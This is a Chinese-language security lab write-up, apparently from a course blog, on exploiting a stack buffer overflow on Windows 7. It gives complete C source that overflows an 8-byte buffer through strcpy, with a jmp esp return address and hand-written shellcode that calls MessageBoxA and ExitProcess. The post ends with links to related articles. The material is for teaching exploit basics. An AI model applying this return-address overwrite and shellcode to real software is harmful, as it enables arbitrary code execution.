一、实验目的

  1. 熟悉编写shellCode的流程
  2. 掌握缓冲区溢出的利用

二、实验环境

  1. 系统环境:Windows环境
  2. 软件环境:C++ ,缓冲区溢出文件链接

三、实验原理

  1. 要实施一次有效的缓冲区溢出攻击,攻击者必须完成如下任务:

    (1)在程序的地址空间里植入适当的代码(称为shellcode)用于完成获取系统控制权等非法任务。

    (2)通过修改寄存器或内存,让程序执行流跳转到攻击者植入的shellcode地址空间执行。
  2. 在具体实现时,我们通过三个步骤完成缓冲区溢出:

    (1).精确查找返回地址的位置

    (2).查找一个适合的地址用于覆盖原始地址

    (3).编写shellcode到对应的缓冲区

    (4).编写shellcode弹出攻击对话框

四、实验步骤

  • 利用缓冲区溢出漏洞首先需要精确查找到返回地址的位置

    打开Windows7虚拟机,编写一个overrun.dsw工程文件,代码如下所示:
#include "string.h"
#include "stdio.h"
#include "windows.h"
char name[] = "ABCDEFGH"
"IJKL"
"\xb3\x00\x00\x00"//填入获取的jmp esp指令地址
"\x33\xDB" //xor ebx,ebx
"\x53" //push ebx
"\x68\x69\x6E\x67\x20"//push 0x20676e69
"\x68\x57\x61\x72\x6E"//push 0x6e726157
"\x8B\xC4" //mov eax,esp
"\x53" //push ebx
"\x68\x21\x20\x20\x20"//push 0x20202021
"\x68\x63\x6b\x65\x64"//push 0x64656b63
"\x68\x6e\x20\x68\x61"//push 0x6168206e
"\x68\x20\x62\x65\x65"//push 0x65656220
"\x68\x68\x61\x76\x65"//push 0x65766168
"\x68\x59\x6f\x75\x20"//push 0x20756f59
"\x8B\xCC" //mov ecx,esp
"\x53"//push ebx
"\x50"//push eax
"\x51"//push ecx
"\x53"//push ebx
"\xb8\x00\x00\x00\x00"//MessageBoxA地址赋给eax
"\xFF\xD0" //call eax
"\x53" //push ebx
"\xb8\x00\x00\x00\x00" //将之前实验获取的ExitProcess函数的地址赋给eax
"\xFF\xD0"; //call eax; int main()
{
char buffer[8];
LoadLibrary("user32.dll");
strcpy(buffer,name);
printf("%s\n",buffer);
getchar();
return 0;
}
  • 获取jmp esp 指令地址:

    打开缓冲区溢出文件夹—找到Searchjmp文件夹,加载SearhjmpEsp.dsw文件。运行程序,程序列出jmp esp指令的地址。我们随机选取一个jmp esp的地址,例如:0x75a0a0b3如下图所示:获取jmp esp指令地址

  • 获取对话框函数(注入函数)地址:

    通过漏洞调用MessageBoxA对话框首先要获取相关函数的地址,双击打开缓冲区溢出文件夹—找到Searchjmp文件夹,加载SerchFunctionAddr.dsw文件,运行程序。获取对应函数的地址。函数MessageBoxA的地址为0x759aea11,函数ExitProcess的地址为0x76e0214f。如图2-2-3所示。(修改代码可以获取其他API函数的地址)为了让溢出程序正常关闭,这里我们还获取了ExitProcess函数的地址

  • 将获取jmp esp 指令地址和获取对话框函数(注入函数)地址,替换overrun.cpp文件内的jmp esp指令地址和MessageBoxA和ExitProcess地址

#include "string.h"
#include "stdio.h"
#include "windows.h"
char name[] = "ABCDEFGH"
"IJKL"
"\xb3\xa0\xa0\x75"//填入获取的jmp esp指令地址
"\x33\xDB" //xor ebx,ebx
"\x53" //push ebx
"\x68\x69\x6E\x67\x20"//push 0x20676e69
"\x68\x57\x61\x72\x6E"//push 0x6e726157
"\x8B\xC4" //mov eax,esp
"\x53" //push ebx
"\x68\x21\x20\x20\x20"//push 0x20202021
"\x68\x63\x6b\x65\x64"//push 0x64656b63
"\x68\x6e\x20\x68\x61"//push 0x6168206e
"\x68\x20\x62\x65\x65"//push 0x65656220
"\x68\x68\x61\x76\x65"//push 0x65766168
"\x68\x59\x6f\x75\x20"//push 0x20756f59
"\x8B\xCC" //mov ecx,esp
"\x53"//push ebx
"\x50"//push eax
"\x51"//push ecx
"\x53"//push ebx
"\xb8\x11\xea\x9a\x75"//MessageBoxA地址赋给eax
"\xFF\xD0" //call eax
"\x53" //push ebx
"\xb8\x4F\x21\xe0\x76" //将之前实验获取的ExitProcess函数的地址赋给eax
"\xFF\xD0"; //call eax; int main()
{
char buffer[8];
LoadLibrary("user32.dll");
strcpy(buffer,name);
printf("%s\n",buffer);
getchar();
return 0;
}
  • 运行overrun.cpp程序,按下空格,弹出对话框成功。如下图所示:

缓冲区溢出利用与ShellCode编写的更多相关文章

  1. 网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!

    零基础带你走进缓冲区溢出,编写shellcode. 写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好. 注:如果有转载请注明出处!创作不易.谢谢合作. 0. ...

  2. 缓冲区溢出利用——捕获eip的傻瓜式指南

    [译文] 摘要:为一个简单的有漏洞程序写一个简单的缓冲区溢出EXP,聚焦于遇到的问题和关键性的教训,提供详细而彻底的描述 内容表:1. I pity the fool, who can't smash ...

  3. 缓冲区溢出分析第04课:ShellCode的编写

    前言 ShellCode究竟是什么呢,其实它就是一些编译好的机器码,将这些机器码作为数据输入,然后通过我们之前所讲的方式来执行ShellCode,这就是缓冲区溢出利用的基本原理.那么下面我们就来编写S ...

  4. 缓冲区溢出分析第05课:编写通用的ShellCode

    前言 我们这次的实验所要研究的是如何编写通用的ShellCode.可能大家会有疑惑,我们上次所编写的ShellCode已经能够很好地完成任务,哪里不通用了呢?其实这就是因为我们上次所编写的ShellC ...

  5. 缓冲区溢出之栈溢出利用(手动编写无 payload 的 Exploit)

    0x01 介绍 Exploit 的英文意思就是利用,它在黑客眼里就是漏洞利用.有漏洞不一定就有Exploit(利用),有Exploit就肯定有漏洞.编写缓冲区溢出的Exploit分为3个方面:漏洞溢出 ...

  6. 简单尝试利用维控LeviStudioU的一栈缓冲区溢出漏洞

    这是别人给我发的,让我分析一下,看能否写出exp.只怪自己水平不够,最后没能写出exp,以下为自己的分析思路 环境为win10 pro x64 英文版(10.0.16299) 默认安全配置 一.漏洞分 ...

  7. Kali学习笔记22:缓冲区溢出漏洞利用实验

    实验机器: Kali虚拟机一台(192.168.163.133) Windows XP虚拟机一台(192.168.163.130) 如何用Kali虚拟机一步一步“黑掉”这个windowsXP虚拟机呢? ...

  8. 缓冲区溢出基础实践(一)——shellcode 与 ret2libc

    最近结合软件安全课程上学习的理论知识和网络资料,对缓冲区溢出漏洞的简单原理和利用技巧进行了一定的了解.这里主要记录笔者通过简单的示例程序实现缓冲区溢出漏洞利用的步骤,按由简至繁的顺序,依次描述简单的 ...

  9. 软件安全攻防--缓冲区溢出和shellcode

    缓冲区溢出漏洞实验报告 实验楼中有seed缓冲区溢出漏洞实验,实验内容与课本中要求的实验基本一致,便利用实验楼提供好的现成实验环境来完成这次的实践内容. 一.实验简介 缓冲区溢出是指程序试图向缓冲区写 ...

随机推荐

  1. ARP协议工作原理实验

    一.实验目的 验证"在向目的主机发送数据包时会先查询ARP高速缓存,如果ARP高速缓存中已保存了目的主机的MAC地址,不进行ARP查询,使用ARP高速缓存中的MAC地址:如果缓存中没有IP对 ...

  2. 万能密码的SQL注入漏洞其PHP环境搭建及代码详解+防御手段

    目录 环境搭建 session会话 环境搭建代码 创建数据库脚本 登录界面html: 查询数据库是否为正确的账号密码php代码 连接数据库php代码: 注销登录代码(即关闭session会话) 登录成 ...

  3. Oracle存储过程锁表

    存储过程: 解决方法如下: 1:查V$DB_OBJECT_CACHE SELECT * FROM V$DB_OBJECT_CACHE WHERE name='CRM_LASTCHGINFO_DAY' ...

  4. Kubernetes-Pod介绍(-)

    前言 本篇是Kubernetes第四篇,大家一定要把环境搭建起来,看是解决不了问题的,必须实战.从现在开始都是重要的核心概念,此篇偏一些Pod的概念介绍,后续每篇都会有实战. Kubernetes系列 ...

  5. 根据短链生成二维码并上传七牛云(Java)

    通过短链生成二维码并上传七牛云(Java) 前言 网上这种帖子其实也是很多,大部分搜出来的是CSDN的,然后点进去一看都几乎一样:所以这次给个自己实践的例子记录. 这次也是通过搜索得到的一部分能实现这 ...

  6. GoLang设计模式05 - 原型模式

    原型模式也是一种创建型模式,它可以帮助我们优雅地创建对象的拷贝.在这种设计模式里面,将克隆某个对象的职责交给了要被克隆的这个对象.被克隆的对象需要提供一个clone()方法.通过这个方法可以返回该对象 ...

  7. python3 爬虫五大模块之五:信息采集器

    Python的爬虫框架主要可以分为以下五个部分: 爬虫调度器:用于各个模块之间的通信,可以理解为爬虫的入口与核心(main函数),爬虫的执行策略在此模块进行定义: URL管理器:负责URL的管理,包括 ...

  8. finally方法体

    1.资源释放 java7可以在try(创建资源对象,方法体结束之后自动释放) 2.finally中有返回

  9. word域实现动态填充信息附件下载

    1.问题描述:在页面上一些下载附件功能,点击触发执行下载操作时候,有些电脑的浏览器可以,有些电脑的浏览器下载不了,电脑打开弹出的下载框下载的不是一个文件,而是一个如jspx后缀名的页面,jspx后缀是 ...

  10. Oracle列值拼接

    最近在学习的过程中,发现一个挺有意思的函数,它可实现对列值的拼接.下面我们来看看其具体用法. 用法: 对其作用,官方文档的解释如下: For a specified measure, LISTAGG  ...